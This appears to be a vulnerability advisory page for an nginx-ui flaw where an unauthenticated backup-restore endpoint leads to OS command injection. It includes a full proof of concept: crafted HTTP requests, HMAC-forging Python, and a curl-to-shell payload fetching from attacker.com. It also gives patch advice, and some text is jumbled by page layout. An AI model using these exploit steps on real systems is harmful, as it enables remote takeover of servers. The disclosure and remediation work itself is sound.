Deploy autonomous AI agents that reason, exploit, and validate complex vulnerability chains — not another scanner, an agentic system that thinks like a senior pentester.
CVE-2026-42238 is a critical severity vulnerability with a CVSS score of 9.8. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
Product: nginx-ui
Repository: 0xJacky/nginx-ui (branch: dev)
Vulnerability Class: Authentication Bypass → Arbitrary File Write → OS Command Injection
Affected Component: POST /api/restore
nginx-ui exposes a backup restore endpoint (POST /api/restore) that is completely unauthenticated during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (app.ini) and SQLite database. Because the attacker controls the restored app.ini, they can inject an arbitrary OS command into the TestConfigCmd setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically root in Docker deployments.
The 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart).
backup.InitRouter is called on the root group, which carries only IPWhiteList() middleware — no AuthRequired(): 1
The route definition: 2
authIfInstalled Guard Has a Time-Bounded BypassThe only authentication guard on the restore route is authIfInstalled: 3
It calls AuthRequired() only when InstallLockStatus() || IsInstallTimeoutExceeded() is true. Both conditions are false on a fresh install within the first 10 minutes: 4
InstallLockStatus() returns false because is on a fresh install and defaults to .| Vendor | Product |
|---|---|
| Nginxui | Nginx Ui |
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
JwtSecret""SkipInstallationfalseIsInstallTimeoutExceeded() returns false for the first 10 minutes after startupTime is set in init().When both are false, authIfInstalled calls ctx.Next() with zero authentication.
EncryptedForm Middleware Is Not a Security BarrierThe EncryptedForm() middleware between authIfInstalled and RestoreBackup is optional — it only activates if the request includes an encrypted_params field. If that field is absent, it calls c.Next() immediately: 5
An attacker sends a plain multipart/form-data request without encrypted_params and the middleware is a no-op.
The restore handler accepts the AES key and IV directly from the attacker via the security_token form field: 6
The manifest integrity check derives its HMAC signing key from the attacker-supplied AES key: 7
Since the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup.
app.ini and the SQLite Database UnconditionallyWhen restore_nginx_ui=true, restoreNginxUIConfig directly copies files from the backup onto disk with no content validation: 8
TestConfigCmd Is Executed as a Shell CommandAfter restore, risefront.Restart() is called, reloading app.ini: 9
On the next call to TestConfig(), the value of TestConfigCmd from the restored app.ini is passed verbatim to /bin/sh -c: 10 11
| Requirement | Notes |
|---|---|
| Network access to nginx-ui port | Default: 9000/tcp |
| Target is a fresh install | JwtSecret is empty in app.ini |
| Within 10 minutes of last process start | Window resets on every restart |
| IP not blocked by IPWhiteList | Default config has no IP whitelist |
The 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets startupTime via init(), reopening the window.
GET /api/install HTTP/1.1
Host: target:9000
Expected response confirming vulnerability:
{"lock": false, "timeout": false}
The backup format (derived from internal/backup/backup.go) is:
backup-TIMESTAMP.zip ← outer ZIP (unencrypted)
├── manifest.json ← JSON manifest
├── manifest.sig ← HMAC-SHA256 of manifest.json
├── nginx-ui.zip ← AES-CBC encrypted inner ZIP
└── nginx.zip ← AES-CBC encrypted inner ZIP
2a. Generate a random 32-byte AES key and 16-byte IV.
2b. Create the malicious app.ini to place inside nginx-ui.zip:
[app]
JwtSecret = attacker_chosen_jwt_secret_32chars
[node]
Secret = attacker_chosen_node_secret
[nginx]
TestConfigCmd = curl http://attacker.com/shell.sh|sh
2c. Create a SQLite database (nginx-ui.db) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access).
2d. Package app.ini and nginx-ui.db into nginx-ui.zip. Package an empty or minimal nginx.zip.
2e. Encrypt both ZIPs with AES-256-CBC using your key and IV.
2f. Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build manifest.json:
{
"schema": 1,
"created_at": "20260421-120000",
"version": "2.0.0",
"files": [
{"name": "nginx-ui.zip", "sha256": "<hash>", "size": <size>},
{"name": "nginx.zip", "sha256": "<hash>", "size": <size>}
]
}
2g. Compute the HMAC-SHA256 signature of manifest.json using the signing key derived as:
import hashlib, hmac
context = b"nginx-ui-backup-signing-v1:"
signing_key = hashlib.sha256(context + aes_key).digest()
sig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()
2h. Assemble the outer ZIP containing manifest.json, manifest.sig, nginx-ui.zip, nginx.zip.
POST /api/restore HTTP/1.1
Host: target:9000
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="backup_file"; filename="evil.zip"
Content-Type: application/zip
[crafted backup bytes]
------Boundary
Content-Disposition: form-data; name="security_token"
<base64(aes_key)>:<base64(aes_iv)>
------Boundary
Content-Disposition: form-data; name="restore_nginx_ui"
true
------Boundary--
Expected response (HTTP 200):
{"nginx_ui_restored": true, "nginx_restored": false, "hash_match": true}
nginx-ui calls risefront.Restart() 2 seconds later, loading the attacker's app.ini.
After the restart (wait ~3 seconds):
POST /api/nginx/test HTTP/1.1
Host: target:9000
X-Node-Secret: attacker_chosen_node_secret
nginx-ui executes:
/bin/sh -c "curl http://attacker.com/shell.sh|sh"
The attacker now has a reverse shell running as the nginx-ui process user (typically root in Docker).
app.ini.All versions of nginx-ui where authIfInstalled is used as the sole authentication guard on POST /api/restore. The vulnerability is present in the current dev branch.
Primary fix — Require authentication unconditionally on the restore endpoint. The "allow restore during initial setup" design rationale does not justify unauthenticated access to a file-write primitive:
// api/backup/router.go
func InitRouter(r *gin.RouterGroup) {
r.GET("/backup", middleware.AuthRequired(), CreateBackup)
r.POST("/restore", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup)
}
If restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window.
Secondary fix — Validate the content of restored app.ini before writing it to disk. Specifically, TestConfigCmd, ReloadCmd, and RestartCmd should be rejected or stripped from any externally-supplied backup.
| Date | Event | |---|---| | 2026-04-21 | Vulnerability identified via source code review | | — | Vendor notification (pending) | | — | CVE assignment (pending) |
File: router/routers.go (L61-70)
root := r.Group("/api", middleware.IPWhiteList())
{
public.InitRouter(root)
crypto.InitPublicRouter(root)
user.InitAuthRouter(root)
license.InitRouter(root)
system.InitPublicRouter(root)
system.InitSelfCheckRouter(root)
backup.InitRouter(root)
File: api/backup/router.go (L9-16)
// authIfInstalled requires auth if system is installed
func authIfInstalled(ctx *gin.Context) {
if system.InstallLockStatus() || system.IsInstallTimeoutExceeded() {
middleware.AuthRequired()(ctx)
} else {
ctx.Next()
}
}
File: api/backup/router.go (L18-25)
func InitRouter(r *gin.RouterGroup) {
// Backup always requires authentication (contains sensitive data)
r.GET("/backup", middleware.AuthRequired(), CreateBackup)
// Restore requires auth only after installation
// This allows restoring backup during initial setup
r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)
}
File: api/system/install.go (L27-34)
func InstallLockStatus() bool {
return settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != ""
}
// IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded
func IsInstallTimeoutExceeded() bool {
return time.Since(startupTime) > 10*time.Minute
}
File: internal/middleware/encrypted_params.go (L69-75)
// Check if encrypted_params field exists
encryptedParams := c.Request.FormValue("encrypted_params")
if encryptedParams == "" {
// No encryption, continue normally
c.Next()
return
}
File: api/backup/restore.go (L35-70)
securityToken := c.PostForm("security_token") // Get concatenated key and IV
// Get backup file
backupFile, err := c.FormFile("backup_file")
if err != nil {
cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error()))
return
}
// Validate security token
if securityToken == "" {
cosy.ErrHandler(c, backup.ErrInvalidSecurityToken)
return
}
// Split security token to get Key and IV
parts := strings.Split(securityToken, ":")
if len(parts) != 2 {
cosy.ErrHandler(c, backup.ErrInvalidSecurityToken)
return
}
aesKey := parts[0]
aesIv := parts[1]
// Decode Key and IV from base64
key, err := base64.StdEncoding.DecodeString(aesKey)
if err != nil {
cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error()))
return
}
iv, err := base64.StdEncoding.DecodeString(aesIv)
if err != nil {
cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error()))
return
}
File: api/backup/restore.go (L126-132)
if restoreNginxUI {
go func() {
time.Sleep(2 * time.Second)
// gracefully restart
risefront.Restart()
}()
}
File: internal/backup/manifest.go (L156-163)
func deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) {
if len(aesKey) == 0 {
return nil, ErrInvalidAESKey
}
sum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...))
return sum[:], nil
}
File: internal/backup/restore.go (L458-484)
// restoreNginxUIConfig restores nginx-ui configuration files
func restoreNginxUIConfig(nginxUIBackupDir string) error {
// Get config directory
configDir := filepath.Dir(cosysettings.ConfPath)
if configDir == "" {
return ErrConfigPathEmpty
}
// Restore app.ini to the configured location
srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini")
if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil {
return err
}
// Restore database file if exists
dbName := settings.DatabaseSettings.GetName()
srcDBPath := filepath.Join(nginxUIBackupDir, dbName+".db")
destDBPath := filepath.Join(configDir, dbName+".db")
// Only attempt to copy if database file exists in backup
if _, err := os.Stat(srcDBPath); err == nil {
if err := copyFile(srcDBPath, destDBPath); err != nil {
return err
}
}
return nil
File: internal/nginx/nginx.go (L25-36)
func TestConfig() (stdOut string, stdErr error) {
mutex.Lock()
defer mutex.Unlock()
if settings.NginxSettings.TestConfigCmd != "" {
return execShell(settings.NginxSettings.TestConfigCmd)
}
sbin := GetSbinPath()
if sbin == "" {
return execCommand("nginx", "-t")
}
return execCommand(sbin, "-t")
}
File: internal/nginx/exec.go (L12-28)
func execShell(cmd string) (stdOut string, stdErr error) {
var execCmd *exec.Cmd
if runtime.GOOS == "windows" {
execCmd = exec.Command("cmd", "/c", cmd)
} else {
execCmd = exec.Command("/bin/sh", "-c", cmd)
}
execCmd.Dir = GetNginxExeDir()
bytes, err := execCmd.CombinedOutput()
stdOut = string(bytes)
if err != nil {
stdErr = err
}
return
}